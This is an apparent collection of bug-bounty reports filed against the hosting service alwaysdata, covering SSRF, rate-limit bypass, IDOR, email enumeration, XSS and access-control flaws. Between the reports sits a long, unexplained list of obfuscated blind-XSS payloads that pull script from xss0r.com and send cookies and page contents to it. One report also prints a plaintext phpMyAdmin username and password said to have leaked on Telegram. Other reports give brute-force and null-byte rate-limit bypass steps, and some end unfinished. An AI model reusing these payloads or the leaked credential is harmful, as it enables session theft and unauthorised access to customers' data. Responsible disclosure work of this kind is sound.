Security vulnerabilities

Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.

Steps:

1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field.
3.Then Click on Post Comment to post your comment in website.

You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.

Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.

#Note:

It can also vulnerable for clickjacking.

Thank You,

Waleed Anwar

Hello Team, I hope you are doing well. I found Credit Card Validation error in your domain.

Steps:

1: Go to https://www.alwaysdata.com/en/register/ and signup for account.

2: Fill the form and Check in Credit Card Validation and Privacy policy.

3:Click on Create my Profile

Note: The Credit Card form not occurred for inputting credit card numbers etc.

Thank you,

Waleed Anwar

Issue with password change

Hello Team, i hope you are doing well. While, researching in your domain, i found issue with password change bug.

When a password is changed in user's profile, then a notification about password change is sent to the user (email).
However, user not always gets a notification about password change - when a password is changed via password reset link, then such a notification is not send to the user. In your domain notification not sent to user, when he/she change the password in profile setting and with reset password.

Note:

Second time i am reporting this issue to you, please make a test account and do that thing in your end so you clearly understand about it.

Thank You,

Waleed Anwar

Hello Team,

I hope you are doing well. While Researching in your domain, I found Subscription not transferred error in your domain.

#Steps to Reproduce:

1: Create profile in "https://www.alwaysdata.com" of owner.
2: Go to "https://admin.alwaysdata.com/Subscription" and open a new account and submit your subscription whatever you want.

3: Then go to "https://admin.alwaysdata.com/permission" and add a user then submit your permission your permission to the user.

4:Again go to "https://admin.alwaysdata.com/Subscription" and click on transfer to another user button to transfer the subscription to the user and then click submit button.

5: Then go to "https://admin.alwaysdata.com/details" and click on Delete this profile button to delete the profile of owner and click on submit button.

Owner assume that he/she transferred the subscription to the user but unfortunately it was not transferred to the user. User only received the notification in their profile and email only of transferred subscription.

Impact:

There is a error of Subscription is not transferred before deleting the profile which may impact to the owner account subscription.

Thank You,

Waleed Anwar

Hi Team,

I found a rate limit bypass in reset password endpoint.

If we send the following POST:

POST /password/lost/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxx………………; django_language=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/password/lost/ Content-Type: application/x-www-form-urlencoded
Content-Length: 113
Origin: https://admin.alwaysdata.com Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrfmiddlewaretoken=xxxxxxxxxxxxxxx…………………..&email=example%40gmail.com

Now send the request around ~50 times and it'll hit "Too Many Requests". Now simply add %00 on the end of the email and resend even more password reset emails.
&email=example%40gmail.com%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.

No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)

Thank You,

Waleed Anwar

Missing rate limit for current password field (Password Change) Account Takeover:

Vulnerability:
Missing Rate Limit for Current Password field (Password Change) Account Takeover
Steps to reproduce the bug:
1)Go to Profile > Password. Enter any (wrong password) In old password filed.
2)Now enter the new password and Turn the Intercept ON.
3)Capture the request & Send the request to Intruder and add a Payload Marker on the current password value.
4)Add the payload for the password field having a list of more than 100 password or more for test and start attack.
BOOM!
Screen shot is attached as a proof of concept.
Impact
There is no rate limit enabled for "Current Password" field on changing password on your website. A malicious minded user can continually tries to brute force an account password. If user forget to logout account in some public computer then attacker is able to know the correct password, and also able to change the password to new one by inputting large number of payloads.

Thank You,

Waleed Anwar

Unveiling an IDOR Vulnerability in Email Verification Workflows:

Hello Team, I hope you are doing well. Well, i found a idor vuln in email verification workflow in your doamin.

The Vulnerability
1. Step 1: Create an Account with a Fake Email (Email 1)
Like many web services, the platform I was testing does not required users to verify their email addresses upon registration. I created an account using a random, unverified email address, let’s call it email1@example.com.

2. Step 2: Change the Email Address to a New One (Email 2)
Next, I went to the account settings and attempted to change the email address to a new one, email2@example.com, without verifying email1@example.com. The system allowed me to enter a new email.

3. Step 3: IDOR Exploitation
Here’s where things got interesting. I can use email2@example.com without any verification or any notification which was not sent to that email2@example.com for verification. But due to an IDOR vulnerability, the system skipped this step entirely and automatically considered email2@example.com as verified

This meant that I, as an attacker, could verify someone else’s email (Email 2) that I had no control over, effectively gaining control of that account’s new email without ever needing access to it.

The Impact
This IDOR vulnerability presents significant risks, including:

Account Takeover: By exploiting this flaw, an attacker can hijack accounts by swapping the victim’s email with one of their own.
Phishing and Fraud: Attackers could use the new email to perform phishing attacks, tricking users into divulging sensitive information.
Loss of Control: Users might lose control over their accounts since the new email is verified without their knowledge or consent.
Root Cause
The root cause of this vulnerability lies in the system’s failure to validate the ownership of the new email address before considering it verified. Once the first email is verified, the system should force a re-verification of any newly entered email addresses to prevent this kind of exploitation.

How to Prevent It
Here are a few recommendations to mitigate this type of IDOR vulnerability:

Re-verify New Emails: Ensure that when users attempt to change their email addresses, the new email must be verified before it becomes active.
Strict Access Control: Always implement strong access controls to ensure that a user cannot modify objects (in this case, email IDs) they do not own.
Thorough Input Validation: Validate user inputs and ensure proper checks for email ownership before performing any sensitive actions.
Security Audits: Regularly conduct security audits and penetration testing to identify potential IDOR vulnerabilities and other security flaws.

Thank You,

Waleed Anwar

Issue with password change

Hello Team, i hope you are doing well. While, researching in your domain, i found issue with password change bug.

When a password is changed in user's profile, then a notification about password change is sent to the user (email).
However, user not always gets a notification about password change - when a password is changed via password reset link, then such a notification is not send to the user. In your domain notification not sent to user, when he/she change the password in profile setting and with reset password.

Thank You,

Waleed Anwar

Email Enumeration:

Hello Team, I hope you are doing well. Well, researching on your domain, i found email enumeration in your domain.

Steps:

1.log in admin.alwaysdata.com account go to Profile.
2.choose change my email
3.enter your pass
4.enter any email you want to check
5.if the email isn't registered a message appears saying(the email is changed.)
6.if it is registered the message appearing is( There is already a profile with this email.)

BY automating the process you can easily enumerate users emails . what is the impact : 1.Mass password reset requests to registered users(spam) 2.imagine a new company like alwysdata want to advertise it will easily enumerate emails of alwaysdata and send the customers emails to convince them to join their company and leave circle this may cause you to loose some of your customers(targeted advertising through alwaysdata database) . there are other impact but those are most severe.

Here is the fix:
when a user try to assign an email that is already registered to your accounts tell him that (An error has occured)or(we have sent a verification email to your email address)or anything not revealing he is registered to you .
Here is the POC:
i have carried the attack on sample of 8845 emails to avoid server overload
the result is by using burpsuite i can bruteforce the change email feature and enumerate users by the status in intruder attack:
200—>Not registered and can be added
500—>registered and error message
400—> this is invalid email because for example it doesn't have @ sign in it

Thank You,
Waleed Anwar

Subject: Misconfiguration in 2FA Implementation Allows Pre-Complete ATO

To:
Security Team
alwaysdata

Description:
The lack of email verification before enabling Two-Factor Authentication (2FA) introduces a critical vulnerability that can facilitate pre-complete Account Takeover (ATO). An attacker can register email addresses resembling critical system accounts (e.g., administrator@alwaysdata.com or support@alwaysdata.com) without any validation.
This misconfiguration allows the attacker to appear as legitimate users or administrators by exploiting the following gaps:
1. Email Address Control:
The attacker registers administrator@alwaysdata.com (since admin@alwaysdata.com is already in use) or similar critical addresses such as support@alwaysdata.com. This bypass occurs because the application does not verify email ownership before enabling 2FA.
2. Pre-Complete ATO via 2FA:
Once the attacker controls the fake email, they enable 2FA. This results in the following:
- The email becomes "locked" for the attacker's use.
- Real administrators or support users cannot register or regain control of these emails.
- Critical accounts, if assumed to be associated with internal roles, are exploited for phishing or denial of service.
This oversight compromises account security and can lead to severe operational and reputational risks for alwaysdata.

Steps to Reproduce:
1. Register as a New User:
- Create a new account with an email resembling a sensitive system role (e.g., administrator@alwaysdata.com or support@alwaysdata.com).
2. Set Up 2FA on the Account:
- Enable Two-Factor Authentication without any email ownership verification.
3. Observe the Impact:
- The attacker now controls a seemingly legitimate account.
- Real users or employees attempting to register or recover accounts with these emails are blocked.
4. Potential Exploit:
- Use the compromised "fake admin" email to trick other users or employees.
- Execute phishing attacks or leverage the fake email for social engineering attempts.

Business Impact:
1. Operational Risk:
- Legitimate users or employees are unable to access critical accounts (e.g., admin@alwaysdata.com or support@alwaysdata.com).
- This could lead to service disruptions and hinder internal workflows.
2. Security Risks:
- Attackers can impersonate sensitive roles and deceive users or employees.
- Creates opportunities for phishing, fraud, and social engineering attacks.
3. Reputational Damage:
- Users and employees may lose trust in alwaysdata due to perceived weak account protection mechanisms.
4. Pre-Complete ATO:
- Attacker gains control of accounts with system-level trust (e.g., admin-like emails) without the ability of real users to regain access.

Severity:
High

Remediation Steps:
1. Mandate Email Verification:
Require all email addresses to be verified during registration and before enabling 2FA.
2. Restrict Critical Email Formats:
Disallow registrations with email addresses resembling sensitive roles (e.g., admin, administrator, support).
3. Enforce Ownership Validation:
Implement strict validation to ensure that users can only enable 2FA on accounts they genuinely own.
4. Audit Existing Accounts:
Identify and rectify any unverified accounts with potentially sensitive email addresses.

Video POC:
A detailed demonstration of the exploit steps is attached to this report to illustrate the issue clearly.
https://drive.google.com/file/d/17DNkoihfOW7jyMoY_eWMGNiigNY4Zmo7/view?usp=sharing

https://example.com

Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit

Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails

To:
Security Team
alwaysdata

Description:
The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata.
Key Problem:
Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to:
• Register with their own email addresses.
• Recover passwords using the "Forgot Password" feature.
This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.

Steps to Reproduce:
1. Login to the Application:
o Attacker logs into their account on alwaysdata.
2. Access the "Add a User" Feature:
o Navigate to the "Add a User" section.
3. Add Any Email Address:
o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user.
4. Observe the Impact:
o The entered email is stored in the database, associating it with the attacker’s account.
o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.

Business Impact:
1. Disruption of Operations:
Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity.
2. Customer Impact:
Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust.
3. Potential Abuse:
o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims).
o Targeted denial of service campaigns against specific users or employees.
4. Reputational Damage:
Affected users may view alwaysdata as insecure and prone to misuse.

Severity:
Moderate to High

Remediation Steps:
1. Email Validation:
Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses.
2. Duplicate Email Handling:
Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts.
3. Audit "Add a User" Logic:
Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails.
4. Email Ownership Verification:
Mandate email verification for all newly added users before finalizing their association with an account.

Video POC:
A detailed POC has been attached showcasing the reproduction of this bug and its consequences.
https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing

'"><script src=https://xss0r.com/c/sabeesh></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104;&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script>
<script>$.getScript("xss0r.com/c/sabeesh")</script>
var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a);
'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7')) '"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))">
"><img src=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104; onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#116;&#104;&#105;&#115;&#46;&#115;&#114;&#99;&#41;&#41;>
'"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe>
'"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe>
'"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object>
<input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus>
'"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script>
'"<script type="module" src="https://xss0r.com/c/sabeesh"></script>
'"<script nomodule src="https://xss0r.com/c/sabeesh"></script>
javascript:window.location="https://xss0r.com/c/sabeesh"
javascript:fetch("https://xss0r.com/c/sabeesh")
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'">
'"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'">
'"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'>
'"<script>new Image().src="https://xss0r.com/c/sabeesh"</script>
'"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script>
'"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe>
'"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'>
'"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh">
'"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object>
javascript:fetch("https://xss0r.com/c/sabeesh")
'"<svg/onload="fetch('https://xss0r.com/c/sabeesh'">
{constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()}
'"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')">
'"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script>
'"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'>
'"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe>
'"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form>
'/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)>
'"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script>
'"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
<img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)">
<input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)">
<iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
ibrahim'"<script src=https://xss0r.com/c/sabeesh></script>
ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt>
/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
-'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
<input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
'"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)>
'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))>
\"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')">
\"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'">
<p><img src="https://xss0r.com/c/sabeesh" border="0" />–&gt;</p>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
<script>$.getScript("https://xss0r.com/c/sabeesh")</script>
‘;"/></textarea></script><script src=xss0r.com/c/sabeesh>
zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script>
{globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()}
ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script>
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg>
<iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe>
</script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>">
%3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E
%253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
–%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
–%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E
javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
'"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)>
javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E
javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–>&lt;svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)>
javascript:</script></textarea></style></noscript></noembed></script></template>&lt;svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>

Hi Team i have found a reflective Xss in your url

http://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=8890

when i use this payload it triggers alert

https://phppgadmin.alwaysdata.com/phppgadmin/index.php?server=%22{text%3a%3Cimg%2fsrc%3dx+onload%3dconfirm(1)%3E}%22

Please reach out to me , My email id is sabeesh.harinarayanan@gmail.com for POC as i am unable to attach here

Regards
Sabeesh

Target:alwaysdata.com

Vulnerability Type:Sensitive Credential Exposure

Severity:CRITICAL

Overview:During an OSINT investigation using a custom tool designed to collect data from dark web forums, I identified exposed credentials of users from alwaysdata.com were leaked This poses a significant security risk to the organization. Attached is the txt file with the credentials I found.

Remediation:
Reset all compromised user passwords immediately
Enforce multi-factor authentication
Monitor for signs of account compromise and unauthorized access
Notify impacted users to update credentials

Impact:
Mass account takeovers by attackers
Breach of personal data and intellectual property
Financial fraud and illegal activities using compromised accounts
Potential lateral network compromiseBrand damage, legal liabilities, regulatory violations

Poc :

https://drive.google.com/drive/folders/1Ox0JvlCLy--RDErIj7y9GzGLwoAY7PQL?usp=sharing

Overview:
While conducting research on alwaysdata.com, I discovered sensitive credentials publicly exposed on a Telegram channel. These credentials provided direct access to alwaysdata’s phpMyAdmin instance, exposing database management functionalities that could lead to unauthorized data access, modification, or deletion. This issue represents a serious security risk, as it could enable malicious actors to compromise databases hosted on alwaysdata.

Steps to Reproduce:
1. Navigate to [https://phpmyadmin.alwaysdata.com/](https://phpmyadmin.alwaysdata.com/).
2. Use the following credentials found on the Telegram channel:

1. Username: projets_baltic
2. Password: LouisCelestin004@#

3. Successfully logging in grants full access to phpMyAdmin.

Proof of Concept (PoC):


Impact:
- Unrestricted access to phpMyAdmin allows any user to view, edit, or delete data within the accessible databases.
- Potential exposure of sensitive customer or internal data, which could result in data breaches.
- Elevates the risk of unauthorized database modifications, compromising data integrity and system security.

Remediation Suggestions:
- Immediately change the credentials for the affected phpMyAdmin user accounts and review logs for any unauthorized access.
- Implement IP or role-based access restrictions to phpMyAdmin to prevent unauthorized external access.
- Monitor and periodically audit for publicly shared or leaked credentials, especially on social media and messaging platforms.

Motivation for Reporting:
This report highlights the potential for data compromise on alwaysdata’s phpMyAdmin, as exposed credentials grant full access to manage sensitive databases. Addressing this issue will help alwaysdata protect its customers’ data and maintain the integrity of its hosted environments.

References:
- [OWASP Secure Credential Storage](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [NIST Guidelines on Access Control](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)

Please feel free to reach out if additional details or verification are required.

Stored Xss in mesaage parameter:

Hello Team, I hope you are doing well. While Researching on your domain i Found Stored Xss in message Parameter via Post Method.

Steps:

1. Go to https://admin.alwaysdata.com/message/toggle/.
2. Capture this request on BurpSuite.
3. While in Post Request, there is message_id parameter, you can input xss payload <script>alert(document.cookie)</script> and copy the request and paste it in browser you see it will reflecting in browser.

Poc:

POST /message/toggle/ HTTP/2
Host: admin.alwaysdata.com
Cookie: csrftoken=xxxxxxxxxxxxxx; django_language=en; sessionid=xxxxxxxxxxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://admin.alwaysdata.com/message/ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Csrftoken: nxxtYwkQfIRMWcftaEokwghO10GoV6yv
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: https://admin.alwaysdata.com Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

message_id=<script>alert(document.cookie)</script>

Impact
Can steal Cookie, Can run javascript code, etc

Thank You,

Waleed Anwar

It was observed that the application exhibits poor data handling practices, which could lead to potential security vulnerabilities. Specifically:

Reflected Input in 404 Error Page: When a user navigates to a non-existent URL ====(https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e),==== the application returns a 404 error page. However, any additional text or encoded characters appended to the URL (e.g., malicious payloads) are directly reflected in the error message without proper sanitization or encoding.

Example: Accessing the crafted URL 1: https://www.alwaysdata.com/%69%6e%73%63%72%69%70%74%69%6f%6e%2f%79%6f%75%5f%61%72%65%5f%68%61%63%6b%65%64%5f%62%79%5f%7a%61%69%6e

2: https://www.alwaysdata.com/yOu_Are_hAckEd_by_zaIN_Ul_AbideeN

Result:

====404 - Page not found
The page /yOu_Are_hAckEd_by_zaIN_Ul_AbideeN could not be found. If you believe this is an error on our part, please let us know. Back ====

====Risk:==== This issue indicates a lack of proper input validation and output encoding, making the application vulnerable to Reflected Cross-Site Scripting (XSS) attacks. An attacker could craft malicious URLs containing scripts (e.g., <script>alert('XSS')</script>), which, if clicked by another user, could execute arbitrary JavaScript in their browser.

**Recommendation:**

Input Validation:

__**Observation:**__

__**Recommendation:**__

##Title: Improper Access Control in [admin.alwaysdata.com]

Summary:

A privilege escalation vulnerability was identified in the platform’s access control mechanism for managing specific paths related to site and SSL configurations. When a user is restricted from accessing a specific path within a site (sites path permission denied) but granted access to SSL management, they can still access a URL path intended for restricted site management at /site/xx/ssl. This bypasses intended access restrictions.

Description:

[Note that the path I mentioned to you does not appear to you when you are not given permissions to access the path (site)]

The platform enables administrators to set granular permissions, controlling what paths invited users can access or manage within a site. Two relevant permissions in this context are:

Path Management (sites): Grants access to manage certain paths related to a site.

SSL Management (ssl certificates): Grants access to manage SSL certificates.

There is a permissions inconsistency that allows users with SSL Management permissions, but without specific sites path permissions, to access the /site/xx/ssl path. This path resides within a restricted site-related path, yet contains SSL management functionalities. As a result, users can bypass restrictions on specific paths and potentially access or manipulate SSL settings.

##Link: [https://admin.alwaysdata.com/site/configuration/ssl/]
Steps to Reproduce:

1. Create a user account and assign SSL Management (ssl certificates) permissions, while explicitly denying access to the sites path.

2. Attempt to access the URL path: /site/xx/ssl.

3. Observe that access is granted to the SSL management path within the restricted sites path, despite restrictions on other paths under sites.

Expected Result:

The system should prevent access to paths under /site—including /site/xx/ssl—when specific path permissions are denied.

Actual Result:

